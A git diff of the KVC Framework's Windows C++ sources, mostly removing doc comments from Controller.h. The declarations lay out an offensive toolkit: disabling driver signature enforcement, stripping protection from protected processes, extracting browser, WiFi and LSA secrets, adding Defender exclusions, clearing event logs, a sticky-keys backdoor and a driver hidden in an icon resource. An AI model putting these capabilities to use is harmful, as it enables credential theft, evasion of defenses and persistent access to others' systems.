diff --git a/kvc/Controller.h b/kvc/Controller.h index 5213ed4..d83718a 100644 --- a/kvc/Controller.h +++ b/kvc/Controller.h @@ -4,10 +4,6 @@ * @author Marek Wesolowski * @date 2025 * @copyright KVC Framework - * - * Central controller managing kernel driver communication, process protection, - * DPAPI password extraction, and system-level operations. - * Integrates all framework components and provides unified interface. */ #pragma once @@ -18,1081 +14,298 @@ #include "OffsetFinder.h" #include "TrustedInstallerIntegrator.h" #include "Utils.h" +#include "WatermarkManager.h" #include #include #include #include #include -// Forward declarations class ReportExporter; -/** - * @struct ProcessEntry - * @brief Kernel process structure representation for EPROCESS manipulation - * - * Contains complete process information obtained from kernel space - * including protection levels, signature information, and kernel addresses. - */ +// Kernel process structure representation struct ProcessEntry { - ULONG_PTR KernelAddress; ///< EPROCESS structure address in kernel space - DWORD Pid; ///< Process identifier - UCHAR ProtectionLevel; ///< PP/PPL/None protection level (combined byte) - UCHAR SignerType; ///< Digital signature authority - UCHAR SignatureLevel; ///< Executable signature verification level - UCHAR SectionSignatureLevel; ///< DLL signature verification level - std::wstring ProcessName; ///< Process executable name + ULONG_PTR KernelAddress; + DWORD Pid; + UCHAR ProtectionLevel; + UCHAR SignerType; + UCHAR SignatureLevel; + UCHAR SectionSignatureLevel; + std::wstring ProcessName; }; -/** - * @struct ProcessMatch - * @brief Process search result with kernel information - * - * Used for process resolution operations when driver may not be available. - */ +// Process search result struct ProcessMatch { - DWORD Pid = 0; ///< Process ID - std::wstring ProcessName; ///< Process name - ULONG_PTR KernelAddress = 0; ///< Kernel EPROCESS address + DWORD Pid = 0; + std::wstring ProcessName; + ULONG_PTR KernelAddress = 0; }; -/** - * @struct SQLiteAPI - * @brief WinSQLite dynamic loading structure for browser database operations - * - * Function pointers for SQLite3 operations used in browser password extraction. - * Loaded dynamically to avoid static linking dependencies. - */ +// SQLite function pointers for browser operations struct SQLiteAPI { - HMODULE hModule = nullptr; ///< SQLite3 module handle - int (*open_v2)(const char*, void**, int, const char*) = nullptr; ///< sqlite3_open_v2 - int (*prepare_v2)(void*, const char*, int, void**, const char**) = nullptr; ///< sqlite3_prepare_v2 - int (*step)(void*) = nullptr; ///< sqlite3_step - const unsigned char* (*column_text)(void*, int) = nullptr; ///< sqlite3_column_text - const void* (*column_blob)(void*, int) = nullptr; ///< sqlite3_column_blob - int (*column_bytes)(void*, int) = nullptr; ///< sqlite3_column_bytes - int (*finalize)(void*) = nullptr; ///< sqlite3_finalize - int (*close_v2)(void*) = nullptr; ///< sqlite3_close_v2 + HMODULE hModule = nullptr; + int (*open_v2)(const char*, void**, int, const char*) = nullptr; + int (*prepare_v2)(void*, const char*, int, void**, const char**) = nullptr; + int (*step)(void*) = nullptr; + const unsigned char* (*column_text)(void*, int) = nullptr; + const void* (*column_blob)(void*, int) = nullptr; + int (*column_bytes)(void*, int) = nullptr; + int (*finalize)(void*) = nullptr; + int (*close_v2)(void*) = nullptr; }; -/** - * @struct PasswordResult - * @brief Password extraction result structure for DPAPI operations - * - * Stores decrypted credentials from browsers and WiFi with metadata. - */ +// Password extraction result struct PasswordResult { - std::wstring type; ///< Chrome, Edge, WiFi credential type - std::wstring profile; ///< Browser/WiFi profile name - std::wstring url; ///< URL for browser logins - std::wstring username; ///< Login username - std::wstring password; ///< Decrypted password - std::wstring file; ///< Source file path - std::wstring data; ///< Additional data - std::wstring status; ///< DECRYPTED, ENCRYPTED, FAILED - uintmax_t size = 0; ///< Data size in bytes + std::wstring type; + std::wstring profile; + std::wstring url; + std::wstring username; + std::wstring password; + std::wstring file; + std::wstring data; + std::wstring status; + uintmax_t size = 0; }; -/** - * @struct RegistryMasterKey - * @brief Registry master key for DPAPI decryption operations - * - * Represents encrypted master keys extracted from registry for DPAPI operations. - */ +// Registry master key for DPAPI operations struct RegistryMasterKey { - std::wstring keyName; ///< Registry key path (DPAPI_SYSTEM, NL$KM, etc.) - std::vector encryptedData; ///< Raw encrypted key data from registry - std::vector decryptedData; ///< Decrypted master key data - bool isDecrypted = false; ///< Decryption success flag + std::wstring keyName; + std::vector encryptedData; + std::vector decryptedData; + bool isDecrypted = false; }; /** - * @class Controller - * @brief Main orchestration class for all KVC Framework operations - * - * Manages: - * - Kernel driver lifecycle and communication - * - Process protection manipulation (PP/PPL) - * - Memory dumping operations with protection handling - * - DPAPI password extraction (Chrome, Edge, WiFi) - * - Windows Defender exclusion management - * - TrustedInstaller privilege escalation - * - Registry operations and hive management - * - Session state tracking and restoration - * - * @note Central hub integrating all framework components - * @warning Requires appropriate privileges for different operations + * Main controller class managing kernel driver, process protection, + * memory dumping, DPAPI extraction, and system operations */ class Controller { public: - /** - * @brief Construct controller and initialize core components - * - * Initializes TrustedInstaller integration, offset finder, and SQLite. - * Does not automatically load driver - call driver methods as needed. - */ Controller(); - - /** - * @brief Destructor with comprehensive cleanup - * - * Ends driver session, unloads SQLite, and cleans up resources. - */ ~Controller(); - // Disable copy semantics - Controller(const Controller&) = delete; ///< Copy constructor deleted - Controller& operator=(const Controller&) = delete; ///< Copy assignment deleted - - // Enable move semantics - Controller(Controller&&) noexcept = default; ///< Move constructor - Controller& operator=(Controller&&) noexcept = default; ///< Move assignment + Controller(const Controller&) = delete; + Controller& operator=(const Controller&) = delete; + Controller(Controller&&) noexcept = default; + Controller& operator=(Controller&&) noexcept = default; - // DSE Bypass methods - - /** - * @brief Disables Driver Signature Enforcement (DSE) on the system - * - * This method bypasses kernel-mode code signing protection by: - * - Locating the CiEnabled/CI!g_CiOptions global variable in kernel memory - * - Modifying its value to disable signature enforcement checks - * - Bypassing PatchGuard protection mechanisms - * - * @return true if DSE was successfully disabled, false otherwise - * @note Requires kernel driver to be loaded and elevated privileges - * @warning This exposes the system to unsigned driver loading - use with caution - * @note Automatically handles CiEnabled (Win7) and g_CiOptions (Win8+) variants - */ + // DSE bypass operations bool DisableDSE() noexcept; - - /** - * @brief Restores Driver Signature Enforcement to its original state - * - * Reverts the changes made by DisableDSE() by: - * - Restoring the original value of CiOptions/CiEnabled - * - Re-enforcing kernel-mode code signing requirements - * - Ensuring system integrity is maintained - * - * @return true if DSE was successfully restored, false otherwise - * @note Should be called before driver unload to maintain system security - * @warning Failure to restore DSE may leave the system in an insecure state - */ bool RestoreDSE() noexcept; - - /** - * @brief Retrieves the kernel address of CI!g_CiOptions or CiEnabled variable - * - * Locates the critical kernel structure that controls DSE by: - * - Scanning kernel memory for known patterns - * - Using exported kernel symbols when available - * - Employing heuristic search methods as fallback - * - * @return ULONG_PTR Virtual address of CiOptions in kernel space, 0 if not found - * @note The address is used for direct memory modification to bypass DSE - * @note Returns different addresses based on Windows version (Win7 vs Win8+) - */ ULONG_PTR GetCiOptionsAddress() const noexcept; - - /** - * @brief Retrieves current DSE status including g_CiOptions address and value - * - * Queries the kernel for current Driver Signature Enforcement state by: - * - Locating ci.dll module in kernel space - * - Finding g_CiOptions variable address - * - Reading current enforcement flags - * - * @param outAddress Reference to store g_CiOptions kernel address - * @param outValue Reference to store current g_CiOptions value - * @return true if status retrieved successfully, false otherwise - * @note Requires driver session with kernel memory access - * @note outValue bits 1-2 indicate DSE state (set = enabled) - */ bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept; + + // Handles removal and restoration of system watermark related to signature hijacking. + bool RemoveWatermark() noexcept; + bool RestoreWatermark() noexcept; + std::wstring GetWatermarkStatus() noexcept; - // === Memory Dumping Operations === - - /** - * @brief Dump process memory to file with driver support - * @param pid Process ID to dump - * @param outputPath Output file path - * @return true if dump successful - * @note Handles protected processes and undumpable flags - * @note Uses kernel driver for memory access - */ + // Memory dumping bool DumpProcess(DWORD pid, const std::wstring& outputPath) noexcept; - - /** - * @brief Dump process by name with pattern matching - * @param processName Process name or pattern - * @param outputPath Output file path - * @return true if dump successful - * @note Supports partial name matching and wildcards - */ bool DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath) noexcept; - // === Binary Management === - - /** - * @brief Load and split kvc.dat into components - * @return true if components extracted successfully - * @note Deploys kvc_pass.exe and kvc_crypt.dll to System32 - * @note Uses XOR decryption for embedded binaries - */ + // Binary management bool LoadAndSplitCombinedBinaries() noexcept; - - /** - * @brief Write extracted components to filesystem - * @param kvcPassData kvc_pass.exe binary data - * @param kvcCryptData kvc_crypt.dll binary data - * @return true if both components written successfully - * @note Uses TrustedInstaller privileges for System32 deployment - */ bool WriteExtractedComponents(const std::vector& kvcPassData, const std::vector& kvcCryptData) noexcept; - // === Process Information Operations === - - /** - * @brief List all protected processes with details - * @return true if enumeration successful - * @note Uses driver for kernel process list access - * @note Color-coded output based on trust levels - */ + // Process information bool ListProtectedProcesses() noexcept; - - /** - * @brief Get protection information for specific process - * @param pid Process ID to query - * @return true if information retrieved successfully - * @note Displays protection level, signer, and signature information - */ bool GetProcessProtection(DWORD pid) noexcept; - - /** - * @brief Get protection information by process name - * @param processName Process name to query - * @return true if information retrieved successfully - * @note Supports partial name matching - */ bool GetProcessProtectionByName(const std::wstring& processName) noexcept; - - /** - * @brief Print detailed process information - * @param pid Process ID - * @return true if information printed successfully - * @note Shows kernel address, protection, and signature details - */ bool PrintProcessInfo(DWORD pid) noexcept; - // === Process Protection Manipulation === - - /** - * @brief Set process protection level (force operation) - * @param pid Process ID - * @param protectionLevel Protection level string ("PP", "PPL", "None") - * @param signerType Signer type string ("Windows", "Antimalware", etc.) - * @return true if protection set successfully - * @note Ignores current protection state - forces new values - */ + // Process protection manipulation bool SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - - /** - * @brief Protect unprotected process - * @param pid Process ID - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if protection applied - * @note Fails if process already protected - */ bool ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - - /** - * @brief Remove protection from process - * @param pid Process ID - * @return true if protection removed - * @note Sets protection to PS_PROTECTED_TYPE::None - */ bool UnprotectProcess(DWORD pid) noexcept; - // === Name-based Protection Operations === - - /** - * @brief Protect process by name with pattern matching - * @param processName Process name or pattern - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if protection applied to matching processes - */ + // Name-based operations bool ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - - /** - * @brief Unprotect process by name - * @param processName Process name or pattern - * @return true if protection removed from matching processes - */ bool UnprotectProcessByName(const std::wstring& processName) noexcept; - - /** - * @brief Set protection by name (force operation) - * @param processName Process name or pattern - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if protection set on matching processes - */ bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - // === Signer-based Batch Operations === - - /** - * @brief Unprotect all processes with specific signer - * @param signerName Signer type name - * @return true if all matching processes unprotected - * @note Saves operation to session manager for restoration - */ + // Signer-based batch operations bool UnprotectBySigner(const std::wstring& signerName) noexcept; - - /** - * @brief List all processes with specific signer - * @param signerName Signer type name - * @return true if listing successful - */ bool ListProcessesBySigner(const std::wstring& signerName) noexcept; - - /** - * @brief Change protection for all processes with specific signer - * @param currentSigner Current signer type to match - * @param level New protection level - * @param newSigner New signer type - * @return true if protection changed successfully - */ bool SetProtectionBySigner(const std::wstring& currentSigner, const std::wstring& level, const std::wstring& newSigner) noexcept; - // === Session State Restoration === - - /** - * @brief Restore protection for specific signer group from session - * @param signerName Signer type to restore - * @return true if restoration successful - * @note Uses session manager for state tracking - */ + // Session state management bool RestoreProtectionBySigner(const std::wstring& signerName) noexcept; - - /** - * @brief Restore all saved protection states - * @return true if all restorations successful - */ bool RestoreAllProtection() noexcept; - - /** - * @brief Display session history and statistics - */ void ShowSessionHistory() noexcept; - - /** - * @brief Set process protection using kernel address - * @param addr Kernel EPROCESS address - * @param protection Combined protection byte - * @return true if protection set successfully - */ bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept; - SessionManager m_sessionMgr; ///< Session manager for state tracking + SessionManager m_sessionMgr; - // === Batch Process Operations === - - /** - * @brief Unprotect all protected processes - * @return true if all processes unprotected - * @warning This affects all protected processes on system - */ + // Batch operations bool UnprotectAllProcesses() noexcept; - - /** - * @brief Unprotect multiple processes by target list - * @param targets Vector of process targets (PIDs or names) - * @return true if all targets processed successfully - */ bool UnprotectMultipleProcesses(const std::vector& targets) noexcept; - - /** - * @brief Protect multiple processes with specified parameters - * @param targets Vector of process targets - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if all targets protected successfully - */ bool ProtectMultipleProcesses(const std::vector& targets, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - - /** - * @brief Set protection for multiple processes (force) - * @param targets Vector of process targets - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if all targets processed successfully - */ bool SetMultipleProcessesProtection(const std::vector& targets, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - // === Process Termination === - - /** - * @brief Terminate multiple processes by PID - * @param pids Vector of process IDs to terminate - * @return true if all processes terminated successfully - * @note Uses protection-aware termination - */ + // Process termination bool KillMultipleProcesses(const std::vector& pids) noexcept; - - /** - * @brief Terminate multiple processes by target list - * @param targets Vector of process targets (PIDs or names) - * @return true if all targets terminated successfully - */ bool KillMultipleTargets(const std::vector& targets) noexcept; - - /** - * @brief Terminate process with driver support - * @param pid Process ID to terminate - * @return true if process terminated successfully - * @note Uses protection-aware termination - */ bool KillProcess(DWORD pid) noexcept; - - /** - * @brief Terminate process by name - * @param processName Process name or pattern - * @return true if matching processes terminated - */ bool KillProcessByName(const std::wstring& processName) noexcept; - // === Kernel Process Access === - - /** - * @brief Get kernel EPROCESS address for process - * @param pid Process ID - * @return Kernel address or nullopt if not found - * @note Uses cached addresses for performance - */ + // Kernel access std::optional GetProcessKernelAddress(DWORD pid) noexcept; - - /** - * @brief Get process protection level from kernel address - * @param kernelAddress EPROCESS address in kernel space - * @return Protection byte or nullopt on failure - */ std::optional GetProcessProtection(ULONG_PTR kernelAddress) noexcept; - - /** - * @brief Get complete process list with kernel information - * @return Vector of process entries - * @note Uses driver for kernel space access - */ std::vector GetProcessList() noexcept; - // === Self-Protection Operations === - - /** - * @brief Apply protection to current process - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @return true if self-protection successful - * @note Used for privilege escalation and stealth - */ + // Self-protection bool SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept; - - /** - * @brief Resolve process name without driver dependency - * @param processName Process name to resolve - * @return Process match information or nullopt - * @note Fallback method when driver is unavailable - */ std::optional ResolveNameWithoutDriver(const std::wstring& processName) noexcept; - // === DPAPI Password Extraction === - - /** - * @brief Extract and display passwords from all sources - * @param outputPath Output directory for reports - * @return true if extraction completed - * @note Extracts Chrome, Edge, and WiFi credentials - * @note Generates HTML and TXT reports - */ + // DPAPI password extraction bool ShowPasswords(const std::wstring& outputPath) noexcept; - - /** - * @brief Export browser data for specific browser - * @param outputPath Output directory - * @param browserType Browser type ("chrome", "edge") - * @return true if export successful - */ bool ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept; - // === System Integration === - - /** - * @brief Execute command with TrustedInstaller privileges - * @param commandLine Command to execute - * @return true if execution successful - */ + // TrustedInstaller operations bool RunAsTrustedInstaller(const std::wstring& commandLine); - - /** - * @brief Execute command with TrustedInstaller privileges (silent) - * @param command Command to execute - * @return true if execution successful - */ bool RunAsTrustedInstallerSilent(const std::wstring& command); - - /** - * @brief Add context menu entries to Windows Explorer - * @return true if entries added successfully - */ bool AddContextMenuEntries(); - // === Legacy Defender Exclusion Management === - - /** - * @brief Add current executable to Defender exclusions - * @param customPath Custom path to exclude (empty = current executable) - * @return true if exclusion added successfully - */ + // Windows Defender exclusions bool AddToDefenderExclusions(const std::wstring& customPath = L""); - - /** - * @brief Remove current executable from Defender exclusions - * @param customPath Custom path to remove (empty = current executable) - * @return true if exclusion removed successfully - */ bool RemoveFromDefenderExclusions(const std::wstring& customPath = L""); - - // === Enhanced Defender Exclusion Management === - - /** - * @brief Add Defender exclusion by type - * @param type Exclusion type - * @param value Value to exclude - * @return true if exclusion added successfully - */ bool AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value); - - /** - * @brief Remove Defender exclusion by type - * @param type Exclusion type - * @param value Value to remove - * @return true if exclusion removed successfully - */ bool RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value); - // === Type-specific Exclusion Convenience Methods === - - /** - * @brief Add file extension exclusion - * @param extension Extension to exclude (e.g., ".exe") - * @return true if exclusion added successfully - */ + // Type-specific exclusions bool AddExtensionExclusion(const std::wstring& extension); - - /** - * @brief Remove file extension exclusion - * @param extension Extension to remove - * @return true if exclusion removed successfully - */ bool RemoveExtensionExclusion(const std::wstring& extension); - - /** - * @brief Add IP address exclusion - * @param ipAddress IP address to exclude - * @return true if exclusion added successfully - */ bool AddIpAddressExclusion(const std::wstring& ipAddress); - - /** - * @brief Remove IP address exclusion - * @param ipAddress IP address to remove - * @return true if exclusion removed successfully - */ bool RemoveIpAddressExclusion(const std::wstring& ipAddress); - - /** - * @brief Add process exclusion - * @param processName Process name to exclude - * @return true if exclusion added successfully - */ bool AddProcessExclusion(const std::wstring& processName); - - /** - * @brief Remove process exclusion - * @param processName Process name to remove - * @return true if exclusion removed successfully - */ bool RemoveProcessExclusion(const std::wstring& processName); - - /** - * @brief Add path exclusion - * @param path Path to exclude - * @return true if exclusion added successfully - */ bool AddPathExclusion(const std::wstring& path); - - /** - * @brief Remove path exclusion - * @param path Path to remove - * @return true if exclusion removed successfully - */ bool RemovePathExclusion(const std::wstring& path); - // === System Administration === - - /** - * @brief Clear all Windows event logs - * @return true if logs cleared successfully - * @note Requires administrative privileges - */ + // System administration bool ClearSystemEventLogs() noexcept; - // === Legacy Driver Management === - - /** - * @brief Install kernel driver from embedded resource - * @return true if driver installed successfully - * @note Extracts driver from steganographic icon resource - */ + // Driver management bool InstallDriver() noexcept; - - /** - * @brief Uninstall kernel driver and remove files - * @return true if driver uninstalled successfully - */ bool UninstallDriver() noexcept; - - /** - * @brief Start driver service (interactive) - * @return true if service started - */ bool StartDriverService() noexcept; - - /** - * @brief Stop driver service - * @return true if service stopped - */ bool StopDriverService() noexcept; - - /** - * @brief Start driver service silently - * @return true if service started - */ bool StartDriverServiceSilent() noexcept; - /** - * @brief Extract encrypted driver from resources - * @return Encrypted driver data - */ - std::vector ExtractEncryptedDriver() noexcept; - - /** - * @brief Decrypt driver data using XOR cipher - * @param encryptedData Encrypted driver data - * @return Decrypted driver data - */ - std::vector DecryptDriver(const std::vector& encryptedData) noexcept; + // Driver extraction (already decrypted by Utils) + std::vector ExtractDriver() noexcept; - // === Emergency Operations === - - /** - * @brief Perform atomic cleanup of temporary files and services - * @return true if cleanup successful - * @note Emergency method for recovering from failed operations - */ + // Emergency operations bool PerformAtomicCleanup() noexcept; - // === Backdoor Management === - - /** - * @brief Install sticky keys backdoor - * @return true if backdoor installed successfully - * @warning Security risk - only for authorized testing - */ + // Backdoor management bool InstallStickyKeysBackdoor() noexcept; - - /** - * @brief Remove sticky keys backdoor - * @return true if backdoor removed successfully - */ bool RemoveStickyKeysBackdoor() noexcept; private: - // Core components - TrustedInstallerIntegrator m_trustedInstaller; ///< TrustedInstaller integration component - std::unique_ptr m_rtc; ///< Kernel driver communication interface - std::unique_ptr m_of; ///< Kernel offset finder - std::unique_ptr m_dseBypass; ///< Kernel code signing enforcement bypass - SQLiteAPI m_sqlite; ///< SQLite API for browser database operations + TrustedInstallerIntegrator m_trustedInstaller; + std::unique_ptr m_rtc; + std::unique_ptr m_of; + std::unique_ptr m_dseBypass; + SQLiteAPI m_sqlite; - // === Privilege and System Management === - - /** - * @brief Enable debug privilege for process manipulation - * @return true if privilege enabled successfully - */ + // Privilege management bool EnableDebugPrivilege() noexcept; - - /** - * @brief Write file with TrustedInstaller privileges - * @param filePath File path to write - * @param data Data to write - * @return true if write successful - */ - bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector& data) noexcept; + bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector& data) noexcept; - // === Binary Processing === - - /** - * @brief Split combined PE binary into components - * @param combinedData Combined binary data - * @param kvcPassData Output for kvc_pass.exe data - * @param kvcCryptData Output for kvc_crypt.dll data - * @return true if splitting successful - */ + // Binary processing bool SplitCombinedPE(const std::vector& combinedData, std::vector& kvcPassData, std::vector& kvcCryptData) noexcept; - // === Atomic Driver Operations === - - /** - * @brief Force remove driver service - * @return true if service removed successfully - */ + // Driver operations bool ForceRemoveService() noexcept; - - /** - * @brief Ensure driver is available and loaded - * @return true if driver ready for operations - */ bool EnsureDriverAvailable() noexcept; - - /** - * @brief Check if driver is currently loaded - * @return true if driver service is running - */ bool IsDriverCurrentlyLoaded() noexcept; - - /** - * @brief Perform atomic driver initialization - * @return true if initialization successful - */ bool PerformAtomicInit() noexcept; - - /** - * @brief Perform atomic init with error cleanup - * @return true if initialization successful - */ bool PerformAtomicInitWithErrorCleanup() noexcept; - - // === Silent Driver Installation === - - /** - * @brief Install driver silently without user interaction - * @return true if silent installation successful - */ bool InstallDriverSilently() noexcept; - - /** - * @brief Register driver service silently - * @param driverPath Path to driver file - * @return true if service registered successfully - */ bool RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept; - // === Driver Session Management === + // Driver session management + bool m_driverSessionActive = false; + std::chrono::steady_clock::time_point m_lastDriverUsage; - bool m_driverSessionActive = false; ///< Driver session active flag - std::chrono::steady_clock::time_point m_lastDriverUsage; ///< Last driver usage timestamp - - /** - * @brief Begin driver session - * @return true if session started successfully - */ bool BeginDriverSession(); - - /** - * @brief Check if service is in zombie state - * @return true if service exists but not responding - */ bool IsServiceZombie() noexcept; - - /** - * @brief End driver session - * @param force Force session end without cleanup - */ void EndDriverSession(bool force = false); - - /** - * @brief Update driver usage timestamp - */ void UpdateDriverUsageTimestamp(); - // === Cache Management === - - /** - * @brief Refresh kernel address cache - */ + // Cache management void RefreshKernelAddressCache(); - - /** - * @brief Get cached kernel address for process - * @param pid Process ID - * @return Cached kernel address or nullopt - */ std::optional GetCachedKernelAddress(DWORD pid); - // === Internal Process Termination === - - /** - * @brief Internal process termination implementation - * @param pid Process ID to terminate - * @param batchOperation True if part of batch operation - * @return true if termination successful - */ + // Internal process termination bool KillProcessInternal(DWORD pid, bool batchOperation = false) noexcept; - // === Kernel Address Cache === - - std::unordered_map m_kernelAddressCache; ///< Kernel address cache for processes - std::chrono::steady_clock::time_point m_cacheTimestamp; ///< Cache timestamp for invalidation - - // === Process List Cache === - - std::vector m_cachedProcessList; ///< Cached process list + // Kernel address cache + std::unordered_map m_kernelAddressCache; + std::chrono::steady_clock::time_point m_cacheTimestamp; + std::vector m_cachedProcessList; - // === Internal Kernel Process Management === - - /** - * @brief Get initial system process address - * @return System process address or nullopt - */ + // Process management std::optional GetInitialSystemProcessAddress() noexcept; - - // === Process Pattern Matching === - - /** - * @brief Find processes by name pattern - * @param pattern Process name pattern - * @return Vector of matching processes - */ std::vector FindProcessesByName(const std::wstring& pattern) noexcept; - - /** - * @brief Check if process name matches pattern - * @param processName Process name to check - * @param pattern Pattern to match against - * @return true if name matches pattern - */ bool IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept; - // === Internal Batch Operation Helpers === - - /** - * @brief Internal process protection implementation - * @param pid Process ID - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @param batchOperation True if part of batch operation - * @return true if protection successful - */ + // Batch operation helpers bool ProtectProcessInternal(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType, bool batchOperation) noexcept; - - /** - * @brief Internal set protection implementation - * @param pid Process ID - * @param protectionLevel Protection level string - * @param signerType Signer type string - * @param batchOperation True if part of batch operation - * @return true if protection set successfully - */ bool SetProcessProtectionInternal(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType, bool batchOperation) noexcept; - // === Memory Dumping === - - /** - * @brief Create minidump of process memory - * @param pid Process ID to dump - * @param outputPath Output file path - * @return true if dump created successfully - */ + // Memory dumping bool CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept; - - /** - * @brief Set current process protection level - * @param protection Protection byte to set - * @return true if protection set successfully - */ bool SetCurrentProcessProtection(UCHAR protection) noexcept; - // === DPAPI Extraction Lifecycle === - - /** - * @brief Initialize password extraction components - * @return true if initialization successful - */ + // DPAPI extraction lifecycle bool PerformPasswordExtractionInit() noexcept; - - /** - * @brief Cleanup password extraction resources - */ void PerformPasswordExtractionCleanup() noexcept; - // === Registry Master Key Extraction === - - /** - * @brief Extract registry master keys with TrustedInstaller - * @param masterKeys Output vector for master keys - * @return true if extraction successful - */ + // Registry master key extraction bool ExtractRegistryMasterKeys(std::vector& masterKeys) noexcept; - - /** - * @brief Extract LSA secrets via TrustedInstaller - * @param masterKeys Output vector for master keys - * @return true if extraction successful - */ bool ExtractLSASecretsViaTrustedInstaller(std::vector& masterKeys) noexcept; - - /** - * @brief Parse registry file for secrets - * @param regFilePath Registry file path - * @param masterKeys Output vector for master keys - * @return true if parsing successful - */ bool ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector& masterKeys) noexcept; - - /** - * @brief Convert hex string to byte vector - * @param hexString Hex string to convert - * @param bytes Output byte vector - * @return true if conversion successful - */ bool ConvertHexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept; - - // === Registry Master Key Processing === - - /** - * @brief Process registry master keys for display - * @param masterKeys Master keys to process - * @return true if processing successful - */ bool ProcessRegistryMasterKeys(std::vector& masterKeys) noexcept; - // === Browser Password Processing === - - /** - * @brief Process browser passwords with AES-GCM decryption - * @param masterKeys Registry master keys for decryption - * @param results Output vector for password results - * @param outputPath Output directory for reports - * @return true if processing successful - */ + // Browser password processing bool ProcessBrowserPasswords(const std::vector& masterKeys, std::vector& results, const std::wstring& outputPath) noexcept; - - /** - * @brief Process single browser instance - * @param browserPath Browser data path - * @param browserName Browser name - * @param masterKeys Registry master keys - * @param results Output vector for results - * @param outputPath Output directory - * @return true if processing successful - */ bool ProcessSingleBrowser(const std::wstring& browserPath, const std::wstring& browserName, const std::vector& masterKeys, std::vector& results, const std::wstring& outputPath) noexcept; - - /** - * @brief Extract browser master key - * @param browserPath Browser data path - * @param browserName Browser name - * @param masterKeys Registry master keys - * @param decryptedKey Output decrypted key - * @return true if extraction successful - */ bool ExtractBrowserMasterKey(const std::wstring& browserPath, const std::wstring& browserName, const std::vector& masterKeys, std::vector& decryptedKey) noexcept; - - /** - * @brief Process login database - * @param loginDataPath Login database path - * @param browserName Browser name - * @param profileName Profile name - * @param masterKey Decrypted master key - * @param results Output vector for results - * @param outputPath Output directory - * @return Number of passwords processed - */ int ProcessLoginDatabase(const std::wstring& loginDataPath, const std::wstring& browserName, const std::wstring& profileName, const std::vector& masterKey, std::vector& results, const std::wstring& outputPath) noexcept; - // === WiFi Credential Extraction === - - /** - * @brief Extract WiFi credentials via netsh - * @param results Output vector for results - * @return true if extraction successful - */ + // WiFi credentials bool ExtractWiFiCredentials(std::vector& results) noexcept; - // === SQLite Database Operations === - - /** - * @brief Load SQLite library dynamically - * @return true if library loaded successfully - */ + // SQLite operations bool LoadSQLiteLibrary() noexcept; - - /** - * @brief Unload SQLite library - */ void UnloadSQLiteLibrary() noexcept; - // === Cryptographic Operations === - - /** - * @brief Decrypt data using DPAPI with master keys - * @param encryptedData Data to decrypt - * @param masterKeys Registry master keys - * @return Decrypted data or empty on failure - */ + // Cryptographic operations std::vector DecryptWithDPAPI(const std::vector& encryptedData, const std::vector& masterKeys) noexcept; - - /** - * @brief Decrypt Chrome AES-GCM encrypted data - * @param encryptedData Encrypted data to decrypt - * @param key AES decryption key - * @return Decrypted string or empty on failure - */ std::string DecryptChromeAESGCM(const std::vector& encryptedData, const std::vector& key) noexcept; - // === Process Name Resolution === - - /** - * @brief Resolve process name with driver-free options - * @param processName Process name to resolve - * @return Process match or nullopt - */ + // Process name resolution std::optional ResolveProcessName(const std::wstring& processName) noexcept; - - /** - * @brief Find processes by name without driver - * @param pattern Process name pattern - * @return Vector of matching processes - */ std::vector FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept; }; \ No newline at end of file diff --git a/kvc/ControllerDriverManager.cpp b/kvc/ControllerDriverManager.cpp index 15bd326..65eaff0 100644 --- a/kvc/ControllerDriverManager.cpp +++ b/kvc/ControllerDriverManager.cpp @@ -1,4 +1,7 @@ // ControllerDriverManager.cpp +// Driver lifecycle management: installation, service control, extraction +// Author: Marek Wesolowski, 2025 + #include "Controller.h" #include "common.h" #include "Utils.h" @@ -11,8 +14,7 @@ namespace fs = std::filesystem; // SERVICE CLEANUP AND MANAGEMENT // ============================================================================ -// Attempts to forcefully remove the driver service, ignoring most errors. -// This is a cleanup utility to ensure a clean state before installation. +// Forcefully remove driver service, ignoring most errors bool Controller::ForceRemoveService() noexcept { if (!InitDynamicAPIs()) { return false; @@ -23,7 +25,6 @@ bool Controller::ForceRemoveService() noexcept { return false; } - // Try to open the service with DELETE access SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE); if (!hService) { DWORD err = GetLastError(); @@ -40,8 +41,7 @@ bool Controller::ForceRemoveService() noexcept { return success || (err == ERROR_SERVICE_MARKED_FOR_DELETE); } -// Detects zombie service state (marked for deletion but not yet removed). -// Returns true if service exists with DELETE_PENDING flag, indicating system restart is required. +// Detect zombie service state (marked for deletion but not removed) bool Controller::IsServiceZombie() noexcept { if (!InitDynamicAPIs()) return false; @@ -207,7 +207,7 @@ bool Controller::StartDriverServiceSilent() noexcept { } // ============================================================================ -// DRIVER INSTALLATION - MAIN FUNCTION +// DRIVER INSTALLATION // ============================================================================ bool Controller::InstallDriver() 